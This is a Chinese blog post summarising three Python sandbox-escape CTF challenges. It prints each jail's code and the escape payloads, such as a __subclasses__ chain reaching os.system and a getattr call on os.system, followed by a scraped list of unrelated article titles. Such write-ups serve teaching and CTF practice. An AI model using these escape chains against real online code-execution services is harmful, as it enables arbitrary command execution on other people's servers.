上周末,协会的同学去天津交流,天津大学的同学讲了一个python沙箱逃逸的案例。今天结合之前的所学和比赛经验写一个小结。

 

案例1

 
这是hackuctf 2012的一道题

1.  def make_secure():
2.      UNSAFE = ['open',
3.                'file',
4.                'execfile',
5.                'compile',
6.                'reload',
7.                '__import__',
8.                'eval',
9.                'input']
10.     for func in UNSAFE:
11.         del __builtins__.__dict__[func]
12.
13. from re import findall
14.
15. # Remove dangerous builtins
16. make_secure()
17.
18. print 'Go Ahead, Expoit me >;D'
19. while True:
20.     try:
21.         print ">>>",
22.         # Read user input until the first whitespace character
23.         inp = findall('\S+', raw_input())[0]
24.         a = None
25.         # Set a to the result from executing the user input
26.         exec 'a=' + inp
27.         print '>>>', a
28.     except Exception, e:
29.         print 'Exception:', e  

下面是脚本运行的效果。
 

 
效果相当于python的命令界面,我们的目标是读取当前目录下的flag文件。
如果题目没有任何的过滤,读取的命令如下,导入os包,然后直接执行命令。
 

 
但是直接导入os会报错,如下图
 

 
因为 del 命令删除了对应的命令,如下图
 

 
看了Ned Batchelder的分享后学到了新知识。我们可以用file对象read文件
下面是元类和元类型详细信息,元组,子对象
 

 
由于file在索引40,我们可以硬编码。如下图
 

 
用file类型读取flag文件。
 

 

案例2

1.  #!/usr/bin/env python
2.  from __future__ import print_function
3.
4.  print("Welcome to my Python sandbox! Enter commands below!")
5.
6.  banned = [
7.      "import",
8.      "exec",
9.      "eval",
10.     "pickle",
11.     "os",
12.     "subprocess",
13.     "kevin sucks",
14.     "input",
15.     "banned",
16.     "cry sum more",
17.     "sys"
18. ]
19.
20. targets = __builtins__.__dict__.keys()
21. targets.remove('raw_input')
22. targets.remove('print')
23. for x in targets:
24.     del __builtins__.__dict__[x]
25.
26. while 1:
27.     print(">>>", end=' ')
28.     data = raw_input()
29.
30.     for no in banned:
31.         if no.lower() in data.lower():
32.             print("No bueno")
33.             break
34.     else: # this means nobreak
35.         exec data  

相对于第一题,第二题是没有直接的回显。
我们可以用catch_warnings类(索引在59),进行命令执行。

1.  ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')

 

 

案例3

1.  # -*-coding:utf-8-*-
2.
3.  #!/usr/bin/python3
4.  import sys, cmd, os
5.
6.  del __builtins__.__dict__['__import__']
7.  del __builtins__.__dict__['eval']
8.
9.  intro = """
10. pwnhub cuit
11. pwn everything
12. Rules:
13.     -No import
14.     -No ...
15.     -No flag
16.
17. """
18.
19. def execute(command):
20.        exec(command, globals())
21.
22. class Jail(cmd.Cmd):
23.     prompt     = '>>> '
24.     filtered    = '\'|.|input|if|else|eval|exit|import|quit|exec|code|const|vars|str|chr|ord|local|global|join|format|replace|translate|try|except|with|content|frame|back'.split('|')
25.
26.     def do_EOF(self, line):
27.         sys.exit()
28.
29.     def emptyline(self):
30.         return cmd.Cmd.emptyline(self)
31.
32.     def default(self, line):
33.         sys.stdout.write('\x00')
34.
35.     def postcmd(self, stop, line):
36.         if any(f in line for f in self.filtered):
37.             print("You are a big hacker !!!")
38.             print("Go away")
39.         else:
40.            try:
41.                 execute(line)
42.            except NameError:
43.                 print("NameError: name '%s' is not defined" % line)
44.            except Exception:
45.                 print("Error: %s" % line)
46.         return cmd.Cmd.postcmd(self, stop, line)
47.
48. if __name__ == "__main__":
49.     try:
50.         Jail().cmdloop(intro)
51.     except KeyboardInterrupt:
52.         print("\rSee you next time !")  

这题是cuit2017的题目,python3环境
这里主要过滤了大量的字符,包括1,2题所用的点号。

1.  print(getattr(os, "system")  

获取system函数地址,

1.  print(getattr(os, "system")("ls"))  

执行system(“ls”)
下面是获取flag的姿势
 

 
以上都是利用Python作为脚本语言的特性来逃逸,但是还有一种高深的基于c源码的逃逸,简单点就是用c程序的漏洞实现漏洞,类似于PWN。最后也提供了参考链接,欢迎一起交流学习。
 
参考链接
http://bobao.360.cn/learning/detail/3542.html
http://www.cnblogs.com/Chesky/archive/2017/03/15/Python_sandbox.html
http://bobao.360.cn/learning/detail/4059.html

转载于:https://blog.51cto.com/13620939/2075204

python沙箱逃逸小结相关推荐

  1. python沙箱逃逸总结

    python沙箱逃逸总结 让用户提交 Python 代码并在服务器上执行,是一些 OJ.量化网站重要的服务,很多 CTF 也有类似的题.为了不让恶意用户执行任意的 Python 代码,就需要确保 Py ...

  2. 各种姿势解析-python沙箱逃逸

    目录 1.预备内容 python中内置执行系统命令的模块: subprocess os commands timeit paltform pty 可执行系统命令的函数 两个魔术方法 python中可以 ...

  3. CTF python沙箱逃逸进阶题目

    future引用了python3的新特性,所以是不能直接回回显,得用print file函数可以读取. print(().__class__.__bases__[0].__subclasses__() ...

  4. python安装报错ox000007b_Python沙箱逃逸的n种姿势

    Python的沙箱逃逸是一些OJ,Quantor网站渗透测试的重要渠道,本篇文章主要从一些语言特性和一些技巧上来讲解python的一些元知识以及如何突破限制达到我们渗透的目的 0x00 python沙 ...

  5. 利用Python渗透实现沙箱逃逸,看黑客是如何绕过网站的防护的?

    让用户提交 Python 代码并在服务器上执行,是一些 OJ.量化网站重要的服务,很多 CTF 也有类似的题.为了不让恶意用户执行任意的 Python 代码,就需要确保 Python 运行在沙箱中.沙 ...

  6. Python - 输出格式 (学习小结)

    Python - 输出格式 (学习小结) Bu.xing 利用现代手段,创建学习家园 ​关注他 1 人赞同了该文章 Python 输出格式 我们常说的输出格式分两种含义: # 一种是指数据在屏幕上的显 ...

  7. python基础知识点小结(2021/2/9)

    python基础知识点小结(2021/2/9)持续更新中~~ 入门小知识 cmd 在cmd上进行python,直接输入 python\quad pythonpython 退出cmd输入 exit()\ ...

  8. linux沙箱隔离_360隔离沙箱在WINDOWS 10 的WSL下的沙箱逃逸

    简介: 360隔离沙箱是360安全中心于2011年5月14日发布的安全产品,目前内置与360安全卫士的功能大全中.在360隔离沙箱内运行程序完全隔离不怕中毒.快速建立隔离环境,轻量便捷.自动识别与手动 ...

  9. [HITCON 2016]Leaking沙箱逃逸学习

    [HITCON 2016]Leaking沙箱逃逸学习 node.js 里提供了 vm 模块,相当于一个虚拟机,可以让你在执行代码时候隔离当前的执行环境,避免被恶意代码攻击.但是这道题比较有意思 考点是 ...

最新文章

  1. .net 去除特殊字符
  2. 从java到c_Binder机制,从Java到C (4. Parcel)
  3. 风险项目投资选择与管理
  4. freeswitch呼叫流程分析
  5. Windows Phone 7 程序菜单栏ApplicationBar
  6. [Python图像处理] 一.图像处理基础知识及OpenCV入门函数
  7. Spring boot(8)---手动构建maven项目springboot
  8. linux主机设备acl,linux上的终端类型、ACL、PAM模块
  9. django系列8.3--django中间件实现登录验证(1)
  10. vue 同步加载_vue axios同步请求解决方案
  11. 【智能司法】法研杯要素识别第二名方案总结:多标签分类实践与效果对比
  12. python实现给定一个字符串,寻找最长非重复子串
  13. 如何看待Corona渲染器,它是否会影响国内vray渲染器的地位?
  14. c语言摇奖小程序,小程序实现抽奖动画
  15. 682. Baseball Game 棒球游戏 按字母处理
  16. 大学语文 · 期末复习知识点汇总
  17. 欧盟授权代表EU Representative是什么?
  18. oracle ins ctx.mk,安装Oracle10g遭遇ins_ctx.mk问题解决方法
  19. pwr | 谁说样本量计算是个老大难问题!?(二)(独立样本均值篇)
  20. Windows安装Mysql提示无法定位程序输入点fesetround于动态链接库的解决方案

热门文章

  1. 三元运算符 python_Python三元运算符
  2. iphone备忘录自带的扫描功能扫完文件后如何保存为图片
  3. 算法面试避坑指南,助你轻松应对Java面试
  4. vue-cli关闭eslint及配置eslint
  5. 用Promise实现队列(爬一爬慕课网HTML代码)
  6. hidden symbol `pthread_atfork'
  7. Oracle数据库对象 序列
  8. android 优化
  9. Enterprise Library:Unity的几个注意事项
  10. struts2标签库的使用